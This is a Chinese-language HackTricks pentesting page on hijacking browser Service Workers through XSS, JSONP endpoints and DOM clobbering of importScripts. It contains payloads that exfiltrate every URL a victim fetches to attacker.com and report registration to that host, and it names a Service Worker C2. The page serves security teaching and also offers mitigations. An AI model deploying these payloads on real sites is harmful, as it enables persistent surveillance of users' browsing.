mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-13 14:53:03 +00:00
132 lines
8.4 KiB
Markdown
132 lines
8.4 KiB
Markdown
# 滥用Service Workers
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## 基本信息
|
||
|
||
**Service worker**是由您的浏览器在后台运行的脚本,与任何网页分开,可以启用不需要网页或用户交互的功能,从而增强**离线和后台处理**功能。有关service workers的详细信息,请参见[此处](https://developers.google.com/web/fundamentals/primers/service-workers)。通过利用易受攻击的Web域中的service workers,攻击者可以控制受害者与该域内所有页面的交互。
|
||
|
||
### 检查现有Service Workers
|
||
|
||
可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**部分中检查现有的service workers。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获得更详细的视图。
|
||
|
||
### 推送通知
|
||
|
||
**推送通知权限**直接影响**service worker**与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝,将限制service worker对持续威胁的潜力。相反,授予权限会增加安全风险,通过启用潜在利用的接收和执行来增加安全风险。
|
||
|
||
## 攻击创建Service Worker
|
||
|
||
为了利用此漏洞,您需要找到:
|
||
|
||
* 一种**上传任意JS**文件到服务器的方法和一个**XSS以加载上传的JS文件的service worker**
|
||
* 一个**易受攻击的JSONP请求**,您可以**操纵输出(使用任意JS代码)**和一个**XSS**以**加载JSONP并使用有效负载**,将**加载恶意service worker**。
|
||
|
||
在以下示例中,我将呈现一个代码来**注册一个新的service worker**,该service worker将监听`fetch`事件,并将**将每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
|
||
```javascript
|
||
self.addEventListener('fetch', function(e) {
|
||
e.respondWith(caches.match(e.request).then(function(response) {
|
||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||
});
|
||
```
|
||
以下是将**注册工作线程**的代码(您应该能够执行滥用**XSS**)。在这种情况下,将向**攻击者**服务器发送**GET**请求,通知**注册**服务工作者是否成功:
|
||
```javascript
|
||
<script>
|
||
window.addEventListener('load', function() {
|
||
var sw = "/uploaded/ws_js.js";
|
||
navigator.serviceWorker.register(sw, {scope: '/'})
|
||
.then(function(registration) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/success", true);
|
||
xhttp2.send();
|
||
}, function (err) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/error", true);
|
||
xhttp2.send();
|
||
});
|
||
});
|
||
</script>
|
||
```
|
||
在滥用易受攻击的JSONP端点的情况下,您应该将值放在`var sw`内。例如:
|
||
```javascript
|
||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||
```
|
||
有一个专门用于利用**Service Workers**的**C2**,名为[**Shadow Workers**](https://shadow-workers.github.io),将非常有用来滥用这些漏洞。
|
||
|
||
**24小时缓存指令**将恶意或受损的**service worker (SW)** 的寿命限制在最多24小时,假设在线客户端状态下进行了XSS漏洞修复。为了最小化漏洞,站点运营者可以降低SW脚本的存活时间(TTL)。开发人员还建议为快速停用创建一个[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。
|
||
|
||
## 通过DOM Clobbering滥用SW中的`importScripts`
|
||
|
||
从Service Worker中调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的参数调用此函数,他将能够**从自己的域导入JS脚本**并获取XSS。
|
||
|
||
**这甚至可以绕过CSP保护。**
|
||
|
||
**示例易受攻击的代码:**
|
||
|
||
* **index.html**
|
||
```html
|
||
<script>
|
||
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
|
||
// attacker controls location.search
|
||
</script>
|
||
```
|
||
* **sw.js**
|
||
```javascript
|
||
const searchParams = new URLSearchParams(location.search);
|
||
let host = searchParams.get('host');
|
||
self.importScripts(host + "/sw_extra.js");
|
||
//host can be controllable by an attacker
|
||
```
|
||
### 使用DOM Clobbering
|
||
|
||
有关DOM Clobbering的更多信息,请查看:
|
||
|
||
{% content-ref url="dom-clobbering.md" %}
|
||
[dom-clobbering.md](dom-clobbering.md)
|
||
{% endcontent-ref %}
|
||
|
||
如果SW用于调用**`importScripts`**的URL/域位于**HTML元素内**,则可以通过DOM Clobbering进行修改,使SW从您自己的域加载脚本。
|
||
|
||
有关此示例,请查看参考链接。
|
||
|
||
## 参考资料
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||
* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|